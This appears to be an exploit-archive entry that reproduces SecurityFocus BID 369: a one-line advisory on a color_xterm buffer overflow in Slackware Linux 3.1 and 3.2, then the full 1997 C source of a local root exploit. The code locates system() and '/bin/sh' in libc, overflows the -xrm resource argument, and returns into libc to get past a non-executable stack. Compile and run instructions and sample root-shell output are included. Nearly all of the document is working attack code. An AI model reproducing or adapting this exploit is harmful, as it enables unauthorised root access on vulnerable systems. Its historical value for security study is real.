source: http://www.securityfocus.com/bid/369/info
In Slackware Linux 3.1 and 3.2, the version of color xterm included is vulnerable to a buffer overflow attack that allows for a local user to gain root access.
/*
* color_xterm buffer overflow exploit for Linux with
* non-executable stack
* Copyright (c) 1997 by Solar Designer
*
* Compile:
* gcc cx.c -o cx -L/usr/X11/lib \
* `ldd /usr/X11/bin/color_xterm | sed -e s/^.lib/-l/ -e s/\\\.so.\\\+//`
*
* Run:
* $ ./cx
* system() found at: 401553b0
* "/bin/sh" found at: 401bfa3d
* bash# exit
* Segmentation fault
*/
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#include <signal.h>
#include <setjmp.h>
#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>
#define SIZE1 1200 /* Amount of data to overflow with */
#define ALIGNMENT1 0 /* 0..3 */
#define OFFSET 22000 /* Structure array offset */
#define SIZE2 16000 /* Structure array size */
#define ALIGNMENT2 5 /* 0, 4, 1..3, 5..7 */
#define SIZE3 SIZE2
#define ALIGNMENT3 (ALIGNMENT2 & 3)
#define ADDR_MASK 0xFF000000
char buf1[SIZE1], buf2[SIZE2 + SIZE3], *buf3 = &buf2[SIZE2];
int *ptr;
int pid, pc, shell, step;
int started = 0;
jmp_buf env;
void handler() {
started++;
}
/* SIGSEGV handler, to search in libc */
void fault() {
if (step < 0) {
/* Change the search direction */
longjmp(env, 1);
} else {
/* The search failed in both directions */
puts("\"/bin/sh\" not found, bad luck");
exit(1);
}
}
void error(char *fn) {
perror(fn);
if (pid > 0) kill(pid, SIGKILL);
exit(1);
}
int nz(int value) {
if (!(value & 0xFF)) value |= 8;
if (!(value & 0xFF00)) value |= 0x100;
return value;
}
void main() {
/*
* A portable way to get the stack pointer value; why do other exploits use
* an assembly instruction here?!
*/
int sp = (int)&sp;
signal(SIGUSR1, handler);
/* Create a child process to trace */
if ((pid = fork()) < 0) error("fork");
if (!pid) {
/* Send the parent a signal, so it starts tracing */
kill(getppid(), SIGUSR1);
/* A loop since the parent may not start tracing immediately */
while (1) system("");
}
/* Wait until the child tells us the next library call will be system() */
while (!started);
if (ptrace(PTRACE_ATTACH, pid, 0, 0)) error("PTRACE_ATTACH");
/* Single step the child until it gets out of system() */
do {
waitpid(pid, NULL, WUNTRACED);
pc = ptrace(PTRACE_PEEKUSR, pid, 4*EIP, 0);
if (pc == -1) error("PTRACE_PEEKUSR");
if (ptrace(PTRACE_SINGLESTEP, pid, 0, 0)) error("PTRACE_SINGLESTEP");
} while ((pc & ADDR_MASK) != ((int)main & ADDR_MASK));
/* Single step the child until it calls system() again */
do {
waitpid(pid, NULL, WUNTRACED);
pc = ptrace(PTRACE_PEEKUSR, pid, 4*EIP, 0);
if (pc == -1) error("PTRACE_PEEKUSR");
if (ptrace(PTRACE_SINGLESTEP, pid, 0, 0)) error("PTRACE_SINGLESTEP");
} while ((pc & ADDR_MASK) == ((int)main & ADDR_MASK));
/* Kill the child, we don't need it any more */
if (ptrace(PTRACE_KILL, pid, 0, 0)) error("PTRACE_KILL");
pid = 0;
printf("system() found at: %08x\n", pc);
/* Let's hope there's an extra NOP if system() is 256 byte aligned */
if (!(pc & 0xFF))
if (*(unsigned char *)--pc != 0x90) pc = 0;
/* There's no easy workaround for these (except for using another function) */
if (!(pc & 0xFF00) || !(pc & 0xFF0000) || !(pc & 0xFF000000)) {
puts("Zero bytes in address, bad luck");
exit(1);
}
/*
* Search for a "/bin/sh" in libc until we find a copy with no zero bytes
* in its address. To avoid specifying the actual address that libc is
* mmap()ed to we search from the address of system() in both directions
* until a SIGSEGV is generated.
*/
if (setjmp(env)) step = 1; else step = -1;
shell = pc;
signal(SIGSEGV, fault);
do
while (memcmp((void *)shell, "/bin/sh", 8)) shell += step;
while (!(shell & 0xFF) || !(shell & 0xFF00) || !(shell & 0xFF0000));
signal(SIGSEGV, SIG_DFL);
printf("\"/bin/sh\" found at: %08x\n", shell);
/* buf1 (which we overflow with) is filled with pointers to buf2 */
memset(buf1, 'x', ALIGNMENT1);
ptr = (int *)(buf1 + ALIGNMENT1);
while ((char *)ptr < buf1 + SIZE1 - sizeof(int))
*ptr++ = nz(sp - OFFSET); /* db */
buf1[SIZE1 - 1] = 0;
/* buf2 is filled with pointers to "/bin/sh" and to buf3 */
memset(buf2, 'x', SIZE2 + SIZE3);
ptr = (int *)(buf2 + ALIGNMENT2);
while ((char *)ptr < buf2 + SIZE2) {
*ptr++ = shell; /* db->mbstate */
*ptr++ = nz(sp - OFFSET + SIZE2); /* db->methods */
}
/* buf3 is filled with pointers to system() */
ptr = (int *)(buf3 + ALIGNMENT3);
while ((char *)ptr < buf3 + SIZE3 - sizeof(int))
*ptr++ = pc; /* db->methods->mbfinish */
buf3[SIZE3 - 1] = 0;
/* Put buf2 and buf3 on the stack */
setenv("BUFFER", buf2, 1);
/* GetDatabase() in libX11 will do (*db->methods->mbfinish)(db->mbstate) */
execl("/usr/X11/bin/color_xterm", "color_xterm", "-xrm", buf1, NULL);
error("execl");
}
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation